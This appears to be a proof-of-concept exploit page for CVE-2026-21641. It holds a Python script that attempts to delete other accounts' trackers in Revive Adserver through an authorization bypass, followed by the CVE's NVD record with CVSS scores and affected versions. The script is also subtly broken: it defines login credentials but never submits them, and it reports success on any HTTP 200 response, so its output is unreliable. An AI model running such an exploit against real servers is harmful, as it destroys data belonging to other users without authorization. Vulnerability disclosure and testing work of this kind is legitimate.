CVE-2026-21641

# CVE-2026-21641 Authorization Bypass PoC # Revive Adserver tracker-delete.php Unauthorized Tracker Deletion import requests import sys TARGET_URL = "http://target-server/revive-adserver/" def exploit_unauthorized_tracker_deletion(): """ Exploit CVE-2026-21641: Delete trackers owned by other users Requires low-privilege account with tracker deletion permissions """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": "attacker_account", "password": "attacker_password", "action": "login" } # Step 2: Identify target tracker ID owned by another user target_tracker_id = "VICTIM_TRACKER_ID" # Step 3: Send unauthorized delete request delete_url = f"{TARGET_URL}tracker-delete.php" delete_params = { "trackerid": target_tracker_id, "confirm": "1" } # Step 4: Verify deletion (response should indicate success) response = session.get(delete_url, params=delete_params) if "deleted" in response.text.lower() or response.status_code == 200: print(f"[!] Successfully deleted tracker {target_tracker_id}") print(f"[!] Authorization bypass confirmed") else: print("[-] Exploitation failed or tracker not found") if __name__ == "__main__": exploit_unauthorized_tracker_deletion()

{"cve": {"id": "CVE-2026-21641", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:06.187", "lastModified": "2026-01-30T20:15:53.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HackerOne community member Jad Ghamloush (0xjad) has reported an authorization bypass vulnerability in the `tracker-delete.php` script of Revive Adserver. Users with permissions to delete trackers are mistakenly allowed to delete trackers owned by other accounts."}, {"lang": "es", "value": "El miembro de la comunidad de HackerOne Jad Ghamloush (0xjad) ha informado de una vulnerabilidad de omisión de autorización en el script `tracker-delete.php` de Revive Adserver. A los usuarios con permisos para eliminar rastreadores se les permite erróneamente eliminar rastreadores que pertenecen a otras cuentas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aquaplatform:revive_adserver:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.0.4", "matchCriteriaId": "FB1E6D97-42AD-4A1B-89B3-86356A4B5E59"}]}]}], "references": [{"url": "https://hackerone.com/reports/3445710", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}